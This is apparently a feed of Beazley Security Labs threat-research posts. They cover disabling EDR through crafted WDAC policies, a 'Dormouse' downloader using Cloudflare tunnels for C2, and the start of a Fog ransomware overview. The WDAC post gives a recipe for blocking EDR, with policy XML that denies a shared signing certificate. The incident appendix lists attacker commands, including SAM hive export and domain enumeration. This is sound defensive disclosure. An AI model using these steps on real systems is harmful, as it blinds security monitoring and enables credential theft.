C2</p></td></tr><tr><td><p><code>d2347abbaa00ff3796ed285469d219ee</code></p><p><code>15f179a8a459e8e402d146a9c3f4b24b</code></p><p><code>34b06b0c3a648b0cdb56eaf6287416bf</code></p><p><code>588a70b0564692e8f1baf00d592aedff</code></p><p><code>edbf152ed9ac79e5d9e0111d1071af48</code></p><p><code>eb3705c358243f99ae34044f15e2d162</code></p><p><code>1be5fa52b017d65420374f8b35893501</code></p><p><code>5641d838db5c260d8f734c07b73d88c3</code></p><p><code>4013fb8ec1263f3fc4dbf7411122be54</code></p><p><code>973c5dd1b4786c11a654e27b9e4ebec5</code></p><p><code>686c57adc6199971e61975983752f24f</code></p><p><code>1a31fc2b5f0a071d2de1b0d0a4438a3a</code></p><p><code>66d41d1f4d4d31945d5649f0e0d3033a</code></p></td><td><p>Supper Implant MD5s</p></td></tr></tbody></table></div>]]></content><summary type="html">Late last year, Beazley Security Managed Extended Detection and Response (MXDR) identified and thwarted a threat actor within a client's environment. We previously published our initial analysis that included some of the activity and tools used by the threat actor. In this article, we detail additional findings based on our continued study of telemetry and artifacts related to this breach.</summary></entry><entry><title>Disabling EDR With WDAC</title><link href="https://labs.beazley.security/articles/disabling-edr-with-wdac" rel="alternate"/><updated>2025-03-06T07:00:00.000Z</updated><published>2025-03-06T07:00:00.000Z</published><id>https://labs.beazley.security/articles/disabling-edr-with-wdac</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>Recently, Beazley Security's Incident Response Team identified an attack from a threat actor that was able to arbitrarily disable Endpoint Detection and Response (EDR) on Windows 10 and Windows 11 using Windows Defender Application Control (WDAC) policies. This attack requires administrative access on the machine, and when leveraged it can prevent many endpoint security tools from operating. We have identified several tactics, techniques and procedures related to this threat actor, and this blog details their exploits and specific mechanisms used to disable EDR. Beazley Security is aware of prior work on abusing WDAC and has coordinated with authors that originally wrote about this technique. Since we've now seen this abused by threat actors in the wild, Beazley Security Labs has worked directly with several EDR solution vendors to ensure they can prioritize detection capabilities and plan mitigations. As of the writing of this post, mitigations against this specific attack are limited since attackers can subvert Windows Defender Application Control configurations with more specific block definitions.</p><p>During the investigation of this attack, Beazley Security labs discovered that Microsoft's default <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules">recommended driver block list</a> for WDAC includes a rule that prevents most EDR products we've tested from initializing. </p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><p>Windows Defender Application Control (WDAC) is a well-known security feature of various Microsoft Windows products. It works by leveraging integrity policies to restrict and/or enable the code and applications that can be run in user and kernel mode. While there are many resources on leveraging this tool to ensure that only organizational tools are whitelisted, there was little writing on how attackers can use WDAC to limit security tools. The earliest we observed  WDAC <a href="https://x.com/0x64616e/status/1822041831573479479">being used adversarially was in early August 2024</a> and the most recent identification of the specific payloads Beazley Security Labs team found was a <a href="https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/">blog post</a> and <a href="https://github.com/logangoins/Krueger">proof-of-concept tooling</a> from Jonathan Beierle and Logan Goins in late December 2024. When contacting various industry EDR solutions, we found that WDAC was recognized as a potential vulnerability, but not sufficiently prevented with a crafted policy explained below.</p><p>We would like to thank Jonathan Beierle, Logan Goins, and the Beazley Security IR Team (Jacob Wellnitz, James Navarro, Logan Tumminello, and Ralph Bailey) for their work.</p><p><b>Every EDR solution we have attempted to disable apart from Windows Defender is affected by this attack</b>. We have contacted the EDR solutions expressing this vulnerability and their responses are listed in the conclusion of this post. From what we have observed and reported, all EDR solutions are vulnerable and should be aware of this technique. In this writeup, we will document the specific payload we observed, but as noted, this is not a vulnerability created from technical implementations of any individual EDR solution.</p><p></p><h2>Repeating the Attack</h2><p>In order to disable a currently running EDR or security product, the attacker simply needs to place a crafted policy to <code>C:\Windows\System32\CodeIntegrity</code> and reboot.
</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/Ymf5CIFhqiczu9WQFwnsb/02a31a8bae4979e596c3e58d959d3dae/Pasted_image_20250218145328.png" alt="WDAC-Policy-Added" style="max-width:100%;"/><p>
After a reboot, we can see the EDR kernel hooks fail to initialize when accessing specific tools, in this case OneDrive.exe.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3Ay3R000vxn3xtpegk9S32/1ad72819794b0592617a0113f5d9830c/WDAC-OneDrive-error.png" alt="WDAC-OneDrive-error" style="max-width:100%;"/></div><div class="rtf"><h3 class="rtf-title">Technical Details</h3><p><a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol">Windows Defender Access Control </a>(WDAC) is automatically enabled on Windows Server 2016, 2019, 2022, and 2025, and Windows 10 and Windows 11. Beazley Security Labs has validated this abuse on Windows 10 and Windows 11. While WDAC is not new, using it to apply policies that subvert security tooling is. To accomplish this, policies are presented to the computer as P7B files and trivially converted into their XML definitions which can be created and edited using Windows provided utilities. We will use Microsoft's <a href="https://webapp-wdac-wizard.azurewebsites.net/">App Control Policy Wizard</a> for this purpose, which is commonly used and can illustrate of the policy creations.</p><p>Note: <i>While the policy wizard claims that P7B files are deployable to Windows 10, Server 2016, and Server 2019 we have confirmed their use with Windows 11 as well</i></p><p>The specific policy presented in Beierle's Blog is based on the Default Windows Mode policy which authorizes &quot;Windows OS Components&quot;, &quot;MS Store Applications&quot;, Office 365, OneDrive, Teams and &quot;WHQL Signed Kernel Drivers&quot;. We have observed that without specific allow rules, applying the custom policy results in instability on reboot, even with a benign usermode or kernel block rule. This aligns with the attack we observed, which used these defaults in their policy.</p><p>One policy requirement is that the custom policy must disable runtime filepath rules. Beierle's post defines the process of adding a custom rule that allows arbitrary code to be executed from a specific path, but it does not mention out that custom rules can be used to deny security features in Windows. Beierle has confirmed with Beazley Security that disabling security tooling was known at the time of his reporting, but was not explicitly called out as a disabling mechanism. We observed this technique in both the whitelisting of the attackers toolchain as well as blocking of EDR solutions.</p><p>Custom policies that whitelist specific paths on the machine can be used to bypass EDR, which functionally allows the EDR to collect telemetry but not prevent the attack. Blocking an EDR solution would prevent it from initializing and, as a result, prevent the EDR solution from collecting any data on how the machine was compromised. In many of the EDR solutions we've tested blocking a specific file hash or a path from executing can prevent the machine from booting because the security tooling is often implemented at the kernel level. We have confirmed this crashing behavior by creating custom policies that deny specific EDR executables and paths, which caused instability at startup. However, policies can be created that indirectly reference an executable's signing certificate and allows the machine to boot to a vulnerable state, preventing telemetry gathering and exploit mitigations.</p><p>This behavior is accessible by is a selectable field when creating a policy with the App Control Policy Wizard.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/5MpTXeXNSseSjQLCNjFEYq/6d5ff62eaef742304dbba942552369ef/Pasted_image_20250220164430.png" alt="WDAC-Policy-Rule-Certificate" style="max-width:100%;"/><p>We then can find a certificate for a specific EDR solution and export it relatively easily</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/0Ed3ZfrgUJTxlXDsUmTrD/2d94131c1f7519734428966a7617a730/Pasted_image_20250220165048.png" alt="WDAC-Cert-Match-1" style="max-width:100%;"/><p><i>SentinelOne's Intermediate Signing Certificate</i></p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2tCpOUGgG3Mv2kHBvMaEOP/9d2e8cd12eafea61772ddb027c8769ef/Pasted_image_20250224144551.png" alt="WDAC-Elastic-Cert" style="max-width:100%;"/><p><i>Elastic's Intermediate Signing Certificate</i></p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2L7gK0K0C00bjH1alBukAZ/395638ecda396ef5f89cdf438bc5893d/Pasted_image_20250224152708.png" alt="WDAC-CrowdStrike-Cert" style="max-width:100%;"/><p>CrowdStrike<i>'s Intermediate Signing Certificate</i></p><p>As you can observe, the intermediate signing key for many security tools is the same. We have concluded that this is unintended, but given that the certificate chain for many of the EDR solutions we have tested contains this <code>DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1</code>, inclusion of this key as a deny rule will result in the prevention of many Security tools. Apart from how confounding the ubiquity of this signing key may be, this key is doubly troubling as it is included within <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules">Microsoft recommended driver block rules</a> as a blocked signer.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3d8ZDD56a9b2wXBE1xbgXu/d4736318406f03ec50aa2a71fe3aed39/Pasted_image_20250226112407.png" alt="WDAC-MS-Signing-Default" style="max-width:100%;"/><img src="//images.ctfassets.net/2nw9zhl2ydi6/3ey15TwSDCdpdkmnENQ2Rn/4080516e0991ea5221a574340ea8ecad/Pasted_image_20250226112426.png" alt="WDAC-MS-Signer-Default-Deny" style="max-width:100%;"/><p>It's worth nothing this policy is executing in `Audit Mode` and <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create">according to MS WDAC documentation</a> Audit Mode will not prevent code from running and only log the execution of the process in the Event Log for review. However, simply following the Policy Wizard's workflow can result in the creation of a policy using these default block rules while disabling audit rules. We believe that this specific signature inclusion was what lead to the discovery of this attack.</p><p>Knowing these mechanics, we can also craft a specific policy that will take effect before the machine reboots (albeit partially) with the following rule option. However, given that most EDR solutions already running on the machine will have already been initialized, attackers would likely ere on the side of caution and force a reboot regardless.
</p><p><code>...
&lt;Rule>
  &lt;Option>Enabled: Update Policy No Reboot&lt;/Option>
&lt;/Rule>
...
</code></p><p>The outputted P7B file and XML file then link the signing key with a TBSHash. The attacker can obfuscate the Signer because the TBS hash contains the required fields to map the specific certificate to one in the machines Certificate Authority.
</p><p><code>...
&lt;Signer Name=&quot;DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1&quot; ID=&quot;ID_SIGNER_S_0&quot;>
   &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;65B1D4076A89AE273F57E6EEEDECB3EAE129B4168F76FA7671914CDF461D542255C59D9B85B916AE0CA6FC0FCF7A8E64&quot;/>
&lt;/Signer>
...</code></p><p>This means that we can hide several certificates within the policy with any names we desire so long as we can verify that the machine boots as expected without their invocation.</p><p>Validating these TBS hashes is performed by hashing the fields from the x509 certificate and adding a poison extension to the end-entity. <a href="https://datatracker.ietf.org/doc/html/rfc5280#section-4.1">src</a> </p><p><code>   Certificate  ::=  SEQUENCE  {
        tbsCertificate       TBSCertificate,
        signatureAlgorithm   AlgorithmIdentifier,
        signatureValue       BIT STRING  }</code></p><p><code>   TBSCertificate  ::=  SEQUENCE  {
        version         [0]  EXPLICIT Version DEFAULT v1,
        serialNumber         CertificateSerialNumber,
        signature            AlgorithmIdentifier,
        issuer               Name,
        validity             Validity,
        subject              Name,
        subjectPublicKeyInfo SubjectPublicKeyInfo,
        issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
                             -- If present, version MUST be v2 or v3
        subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,
                             -- If present, version MUST be v2 or v3
        extensions      [3]  EXPLICIT Extensions OPTIONAL
                             -- If present, version MUST be v3</code>
</p><p>The hashes that exist in our custom policy rule and the Windows Event Log are 48 bytes long, and therefore are SHA348 hash. Fetching certificates from a machine <a href="https://assets.ctfassets.net/2nw9zhl2ydi6/1GcnpCi9uARmqgRekOJ2yc/301a900c5f4b9f7299bab2ffc9f97200/collect_windows_certs.ps1">can be trivially performed with PowerShell</a> and <a href="https://assets.ctfassets.net/2nw9zhl2ydi6/7FPoCzSxS1q1PytuV0DhgX/aeec5d6d72af58c0622bd0ceb10bd130/calc_tbs_hash.py">their hashes can be trivially computed with any library that parses x509 certificates and a hashing library</a>.</p><p>The last component in our policy is whitelisting. After many attempts at creating policies with allow rules, we have concluded that allow rules must be applied for every executable on the device. This behavior is counter-intuitive, as it was expected that WDAC should fail open on executions that don't have any related rules. There is documentation on the order in which these rules are processed. It appears that without Audit Mode enabled, many utilities are unable to be executed while a policy is active.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4EuC3fW7nXMAt1kZsNzPqt/637fd66f6472ea8eba786f126be85b03/Pasted_image_20250227120148.png" alt="WDAC-MS-File-rule-precedence" style="max-width:100%;"/><p>Knowing this behavior, an attacker would be lead to simply whitelist file paths for their toolkits. This was observed in the malicious payload we collected.</p><p>Now with the payload an attacker can move it into <code>C:\Windows\System32\CodeIntegrity</code> with administrative credentials and trigger the rest of their attacks.</p><p>We can observe through the Windows Event Viewer the EDR solution fail to initialize in Event ID 8036 and 3077.
</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/79k1M1cZq998NK32vF3bbv/5ecf9b6b07dd4a7a1e1243e8483e508b/Pasted_image_20250218155713.png" alt="WDAC-EventView8036" style="max-width:100%;"/><img src="//images.ctfassets.net/2nw9zhl2ydi6/7DuTxTZsXgoYKgPx627Xno/88700dab25b1da3e83bfb13160cf0aae/WDAC-Event-3077.png" alt="WDAC-Event-3077" style="max-width:100%;"/><p></p><h2>Compounding Factors</h2><p>In an attempt at testing WDAC exhaustively, we have attempted creating other policy types and have found little success. COM Object declarations appear to affect registration rather than execution. Path and File attribute related rules are relatively well known and observed in existing WDAC Policies and do not need further elaboration. However given the time it takes to inspect a policy, and WDAC's restrictive behavior once applied, it behooves security tools to treat all WDAC policies as suspicious or an attempt to bypass or disable their behavior.</p><p>During this Incident Response investigation, we were able to retrieve the policy to begin work in understanding the attack, but it should be noted that the policy can be pre-crafted and deployed in multiple ways. Beierle and Goin's Kreuger tool will run in memory using `inLineExecute-Assemby` for example. Therefore the time needed to execute this attack is limited only to the time to transfer the file to disk. Doubly so, a policy crafted to prevent specific calls from an incident responder can be used to prevent the policy from being observed and reversed.</p><p>During our testing, we replicated this attack on a single host. However,  as noted in Beierle's blog and as seen during our Incident Response investigations, attackers can abuse Group Policy Objects to distribute these policies to every machine in a domain, rendering EDR ineffective across an entire organization. </p><p></p><h2>EDR Vendor Response</h2><p>As part of our investigation and response to this being abused in the wild, Beazley Security Labs coordinated with our partner, SentinelOne, on February 18th to inform them of this issue. We collaborated to confirm this attacks general effectiveness against several EDR solutions. SentinelOne recently discovered the issue in parallel with our research and has coordinated with Beazley Security to ensure that protection is available for its customers. We'd like to thank SentinelOne for their collaboration in responding to this abuse.</p><p>After communication with Beierle we have also confirmed that CrowdStrike and Elastic were also notified of this attack upon his initial posting. Beazley Security begun collaborating with CrowdStrike on February 24th and they were able to confirm their development of detections related to this attack. </p><p>We have received communications from Elastic on February 28th confirming their knowledge of the attack from a <a href="https://github.com/elastic/protections-artifacts/issues/58">Github issue</a>. Elastic has stated they have an existing detection they will validate and promote to production, and are not do not have plans to produce a prevent against this attack due to the legitimate use of WDAC in enterprise environments. </p></div>]]></content><summary type="html">Beazley Security has seen attackers disabling EDR solutions leveraging Windows Defender Access Control Policies in the wild. 🫨</summary></entry><entry><title>Hunting Mice In Tunnels</title><link href="https://labs.beazley.security/articles/hunting-mice-in-tunnels" rel="alternate"/><updated>2024-11-13T07:00:00.000Z</updated><published>2024-11-13T07:00:00.000Z</published><id>https://labs.beazley.security/articles/hunting-mice-in-tunnels</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>Earlier this week, Beazley Security Managed Extended Detection and Response (MXDR) identified and thwarted a threat actor within a client's environment. As part of our investigation, we identified some tactics, techniques, and procedures (TTPs) and some recently compiled executables being used that are not commonly encountered in our regular investigations. The threat actor employed an unusual method in an attempt to hide malware command and control (C2) traffic, along with freshly compiled payloads that exhibited low initial detection rates on VirusTotal. This case presented several interesting techniques that prompted our MDR team to engage Beazley Security Labs for further investigation. As part of our investigation into this activity, we are sharing aspects of our analysis to assist other organizations in detecting and defending against the TTPs we observed.</p><p>Note: This blog post includes some of the initial activity that Beazley Security MDR observed, we’ll be publishing a follow up blog post with additional analysis into other binaries dropped during the campaign.</p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><p>Beazley Security Labs would like to thank Ralph Bailey, Kelsey O'Connell, and Troy Walters from Beazley Security MDR for their investigative efforts used to describe the timeline of events in this blog post, along with their support in pulling suspicious binaries dropped as part of this attack. Beazley Security Labs would also like to thank Tom Hegel at Sentinel One for his guidance and assistance in the initial phases of this investigation.</p><h1>Incident Details</h1><p>This investigation began when our MXDR solution generated the following alerts by leveraging raw Endpoint Detection and Response (EDR) telemetry:</p><ul><li><p>Outbound network connection via command line PowerShell</p></li><li><p>Domain account discovery via <code>net.exe</code></p></li><li><p>Execution of <code>nltest</code></p></li></ul><p>This activity occurred within a short amount of time and on the same endpoint at a specific client site, so our MXDR solution correlated them together and escalated the alerts as a group. Our SOC team identified the activity originated with a malicious executable being downloaded and executed via obfuscated PowerShell. We have taken to calling this malicious DLL ‘Dormouse’ for reasons we will explain below. The threat actor then followed up by installing CrossTec Remote Control, a remote administration tool created by a legitimate software company.</p><p>The threat actor quickly moved to reconnaissance on the internal environment by enumerating possible Active Directory domain controllers, domain admins, extracting the Security Account Manager (SAM) registry hive for user passwords, and checking user permissions. Some of the threat actor tools also started achieving persistence through Windows Autorun registry keys and the Windows task scheduler. Given all of the activity observed, Beazley Security MDR immediately reacted to contain the activity by isolating the endpoint from the network.</p><p>A condensed kill chain is presented below, and a more detailed timeline can be found in the appendix. </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3yHIcMSyPBQU5gYjzA8Ta9/55c5068c416f8dbddf23ba9613bc7b9c/killchain.jpg" alt="blog_mouse_killchain_fig_1" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 1: Threat Campaign Kill Chain</i></p><h1>The Downloader (Dormouse) </h1><p>Beazley Security Labs chose to focus analysis on the binary that performs the initial C2 callback to the Cloudflare tunnels. This file (asdin2oe.exe) on the surface, looks like a PyInstaller package. PyInstaller is a legitimate packaging system to deliver python scripts as standalone Windows executables. As such, the file will drop a lot of Python related libraries but does not appear to drop an actual packaged python script. What it <i>does </i>drop is a small DLL file that it will execute via <code>rundll32</code>:</p><p><code>lang:powershell
rundll32.exe C:\Users\&lt;USER>\AppData\Roaming\qWDwLtxA\3bXh3hAE.ywe start</code></p><p><b>Note:</b> the path and executable names above were dynamically generated from the downloader and should not be used for detection rules</p><p>This small DLL has an encoded configuration that it decodes during runtime using a large XOR key: </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1oF1StV2juE35yluDuSmuq/fc80bec33755770e1a2f4d29d82c6662/decode.jpg" alt="blog_mouse_decode_fig_2" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 2: Downloader Decoding C2 Configuration</i></p><p>There are a few things in the decoded configuration block, but these three are most interesting: </p><ul><li><p>PowerShell that checks privileges before executing ‘<code>systeminfo</code>’ </p></li><li><p>Hard coded HTTP POST headers used when connecting back to C2</p></li><li><p>Six hardcoded Cloudflare tunnel domains. Dormouse will randomly select one to connect to.</p></li></ul><p>Before connecting back to its randomly selected C2, this downloader will:</p><ul><li><p>Take the output from the ‘<code>systeminfo</code>’ command execution mentioned above</p></li><li><p>Prepend a hardcoded value (in our case, ‘01075\n’)</p></li><li><p>XOR this data with a hardcoded key (in our case, 0x78)</p></li></ul><p>This XOR’d data is the payload sent back to C2 upon callback.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1vxJPfOp7Zmc4fhXAr3umb/bde2cf89bf6d174d8f92d0eeda6771b6/xor_circled.jpg" alt="blog_mouse_xor_fig_3" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 3: XOR’d </i><code><i>systeminfo</i></code><i> output prior to C2</i></p><p>Once we knew a little about this small downloader DLL, we used its static attributes and dynamic behaviors to search for more samples of it in VirusTotal. A few of the behaviors we pivoted searches on included:</p><ul><li><p>C2 URL consistent pattern: <code>&lt;x>-&lt;x>-&lt;x>-&lt;x>.trycloudflare[.]com/init1234</code></p></li><li><p>Runs <code>systeminfo</code> (the output is part of the C2 callback)</p></li><li><p>A DLL with just two exports: ‘<code>DllEntryPoint</code>’, ‘<code>start</code>’</p></li><li><p>PowerShell calling ‘<code>[Security.Principal.WindowsIdentity]::GetCurrent().Name</code>’</p></li></ul><p>Through <a href="https://www.virustotal.com/gui/search/behaviour_network%253A%2522init1234%2522%2520exports%253Astart%2520type%253Apedll%2520behaviour_processes%253A%2522systeminfo%2522%2520behaviour_processes%253A%2522%255BSecurity.Principal.WindowsIdentity%255D%253A%253AGetCurrent().Name%2522/files">these searches</a>, we found eight additional samples of this downloader. All eight appeared to have been originally packaged in PyInstaller packages. The two earliest submitted samples had the lowest detection rates, showing how benign software package systems can be used to deliver malware.</p><p>Each sample of this downloader has a random word set as its internal product name (we saw ‘shiniest’, ‘vacuuming’, ‘misspellings’, etc.), and the one that found its way into our client environment was named ‘dormouse’.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/N7FDoTn3rgvdANELhIBM1/16f313afc734af398d7a6e6cc4f02df8/filename.jpg" alt="blog_mouse_fname_fig_4" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 4: Internal filename for downloader</i></p><p>A dormouse is a very small type of rodent, which is coincidentally fitting as this is a relatively small binary. There is quite a bit of junk code, but the functional parts appear to just check-in to C2, download payloads, and execute them. There does not appear to be any kind of remote-control functionality or processed commands. Hence, we started referring to this downloader internally as ‘dormouse’ and integrated the name into the theme of this blog post.</p><h1>Abusing Cloudflare Tunnels</h1><p>The domains used for dormouse’s C2 were also interesting. At first glance, the six hardcoded C2 domains used by the downloader mentioned above appeared to perhaps be attacker-controlled domains masquerading as a legitimate service. The general pattern was as follows: four random words prepended to ‘trycloudflare.com’.</p><p><code>&lt;x>-&lt;x>-&lt;x>-&lt;x>.trycloudflare[.]com</code></p><p>The `<code>trycloudflare.com</code>` domain is a legitimate Cloudflare service that lets users create &quot;Cloudflare Argo Tunnels&quot; with a single command, even without an account as seen in the image below: </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/7wxCS7PamqqhcLGmvT9H9r/4927e6ea6d8f09188a446981397fbdde/cf_tun2.png" alt="cf_tun2" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 5: Overview of </i><code><i>try.cloudflare.com</i></code></p><p>The service creates a random temporary domain using the scheme described above and will tunnel traffic to the temporary domain to a server defined by the user. This service is provided in a <b>free and automated</b> way. You can read Cloudflare’s service documentation <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/">here</a>.</p><p>While it is great for potential Cloudflare customers, it is not as great for network defenders as threat actors have yet another method to generate quick throw-away domains that tunnel traffic through a trusted service. Threat actors realized this quickly and have been abusing it since at least January of 2023, as <a href="https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer-rat-combo-polluting-pypi/">reported</a> by Phylum. There was also a report of various commodity RATs and worms using this technique earlier this year, as <a href="https://www.proofpoint.com/us/blog/threat-insight/threat-actor-abuses-cloudflare-tunnels-deliver-rats">reported</a> by Proofpoint. As organizations move more and more to the cloud, we expect more service companies to provide similar services such as the Microsoft Dev Tunnels described <a href="https://newtonpaul.com/tunneling-c2-through-microsoft-dev-tunnels/">here</a>.</p><h1>Indicators of Compromise (IOCs)</h1><table><tbody><tr><th><p>Indicator</p></th><th><p>Description</p></th></tr><tr><td><p><b>d8c57b8eae713dc3c711b5a0aee91e7a</b></p></td><td><p>MD5 PyInstall dropper for dormouse (active.exe, asdin2oe.exe)</p></td></tr><tr><td><p><b>e8b664c677d031f1a35d08980a5c55a4</b></p></td><td><p>MD5 DLL dormouse downloader (XdkZ46ju.tgG)</p></td></tr><tr><td><p><b>%APPDATA%\Roaming\0neNote\client32.exe</b></p><p><b>9497aece91e1ccc495ca26ae284600b9</b></p></td><td><p>Target download location for CrossTec</p></td></tr><tr><td><p><b>bersandarpijar[.]com/active.exe</b></p></td><td><p>Download URL for the PyInstall dropper active.exe</p></td></tr><tr><td><p><b>drum-drilling-gale-hourly.trycloudflare[.]com</b></p><p><b>
kingdom-skirt-rail-michael.trycloudflare[.]com</b></p><p><b>
efforts-fur-wiley-cells.trycloudflare[.]com</b></p><p><b>
milan-perfectly-narrow-lunch.trycloudflare[.]com</b></p><p><b>
person-satellite-excessive-labor.trycloudflare[.]com</b></p><p><b>
valued-tooth-appearance-wrist.trycloudflare[.]com</b></p></td><td><p>Cloudflare Tunnel domains abused in this particular campaign</p></td></tr></tbody></table><h1>Conclusion</h1><p>The Cybersecurity industry has always been a cat and mouse game. To avoid detection, Threat Actors leverage a variety of techniques and legitimate software and services to try and “blend in” with the huge volume of legitimate activity in an average organization’s I.T. environment.</p><p>In this case, we saw PyInstaller, Cloudflare Argo Tunnels, and the CrossTec Remote Control Application used in an attempt to blend in. Defenders must stay aware of all the continually evolving, novel ways threat actors will hide malicious activity amongst the noise.</p><p>Stay tuned for a future blog post with additional details into other binaries dropped as part of this attack campaign.</p><h1>Appendix</h1><h2>Observed Activity</h2><table><tbody><tr><th><p>Step</p></th><th><p>Event</p></th></tr><tr><td><p>1</p></td><td><p>Command line PowerShell downloads <b>hxxp://bersandarpijar[.]com/active.exe as </b><b><code>asdin2oe.exe</code></b> (PyInstall package)</p></td></tr><tr><td><p>2</p></td><td><p><b>asdin20e.exe</b> drops and executes DLL <b>XdkZ46ju.tgG </b>(Dormouse) via <b>rundll32.exe</b></p></td></tr><tr><td><p>3</p></td><td><p>PowerShell AD enumeration via:</p><p><b>‘[adsiSearcher]'(ObjectClass=computer)').FindAll().count’</b></p></td></tr><tr><td><p>4</p></td><td><p>Domain admin enumeration via:</p><p><b>net group &quot;Domain Admins&quot; /domain</b></p></td></tr><tr><td><p>5</p></td><td><p>Domain enumeration via:</p><p><b>nltest /dclist</b></p><p><b>nltest /domain_trusts</b></p></td></tr><tr><td><p>6</p></td><td><p>Domain enumeration via:</p><p><b>net1 user $user_account /domain</b></p></td></tr><tr><td><p>7</p></td><td><p>Persistence via Windows Registry runkey:</p><p><b>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</b></p></td></tr><tr><td><p>8</p></td><td><p>Command line PowerShell downloads and installs CrossTec Remote Control, as</p><p><b>%APPDATA%\Roaming\0neNote\client32.exe</b></p></td></tr><tr><td><p>9</p></td><td><p>Persistence via <b>schtasks.exe</b></p></td></tr><tr><td><p>10</p></td><td><p>Credential theft by exporting the Security Account Manager (SAM) database registry entries:</p><p><b>reg save HKLM\sam sam</b></p></td></tr></tbody></table><h1>Sources</h1><ul><li><p><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/">https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/</a></p></li><li><p><a href="https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer-rat-combo-polluting-pypi/">https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer-rat-combo-polluting-pypi/</a></p></li><li><p><a href="https://www.proofpoint.com/us/blog/threat-insight/threat-actor-abuses-cloudflare-tunnels-deliver-rats">https://www.proofpoint.com/us/blog/threat-insight/threat-actor-abuses-cloudflare-tunnels-deliver-rats</a></p></li><li><p><a href="https://newtonpaul.com/tunneling-c2-through-microsoft-dev-tunnels/">https://newtonpaul.com/tunneling-c2-through-microsoft-dev-tunnels/</a></p></li></ul></div>]]></content><summary type="html">Threat Actor abusing free Cloudflare Argo Tunnels for C2 contained by Beazley Security MDR.</summary></entry><entry><title>Fog Ransomware</title><link href="https://labs.beazley.security/articles/fog-ransomware" rel="alternate"/><updated>2024-10-05T07:00:00.000Z</updated><published>2024-10-05T07:00:00.000Z</published><id>https://labs.beazley.security/articles/fog-ransomware</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>Fog ransomware is a relatively new ransomware family first discovered in June 2024.  Beazley Security has assisted some targeted organizations with response and recovery, and gained some insights about this new ransomware family and their related operations. Generally, Fog cases are not as numerous or frequent as other more established ransomware families, but this may change as their operations mature. Most of the victim organizations are in the education sector with majority of them being located in the United States.</p><p>We are sharing information about this emerging variant to help organizations protect themselves against this threat. Please be aware that we may update this article with additional details as our ongoing investigation continues.</p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><p>FOG ransomware was first detected in May 2024, and they had no dark web leak site in the early stages of the activity. A thorough write-up of some initial Fog infection cases was reported in a blog from Arctic Wolf. They negotiated with victims on dark web chat pages listed in the ransom notes they left. In mid July, a dark web leak site was discovered where seven victims were posted in the creation of the website.</p><p>Fog leverages compromised VPN credentials to attack vulnerable networks and gain initial access into the network. Once they get inside the network, they perform &quot;Pass-the-hash&quot; attacks in the network. A &quot;Pass-the-Hash&quot; attack occurs when an adversary intercepts a hashed user credential and leverages it to initiate a new session within the same network. Following this, the attacker may employ tools like SharpShares to facilitate the discovery and enumeration of accessible network shares. Once successful, they establish a Remote Desktop Protocol (RDP) connection to a Windows server running Hyper-V and Veeam. If they are unsuccessful with &quot;Pass-the-hash&quot; attacks we have observed them using credential stuffing, which allowed them to laterally move throughout the environment. Regardless of the specific lateral movement technique employed, PsExec was deployed across multiple systems, and RDP was utilized to access the targeted machines.</p><p>FOG ransomware is known for encrypting files, including virtual machine storage, and disabling security defenses such as Windows Defender prior to initiating its encryption process. The malware appends a &quot;.fog&quot; or &quot;.flocked&quot; extension to the encrypted files and virtual machine disk (VMDKs) and generates a ransom note in the form of a text file named &quot;readme.txt.&quot; This file contains instructions for victims on how to contact the attackers through a Tor-based negotiation site to discuss ransom payments. Besides for a unique chat code that is left in the &quot;readme.txt&quot;, reason notes that we have observed are all identical. </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/546FzggBnXfD1eqgJpC0SW/c5430dc29e5a33951196c2619d5f0e92/killchain.jpg" alt="Fog killchain" style="max-width:100%;"/></div><div class="rtf"><h3 class="rtf-title">Technical Details</h3><p>The 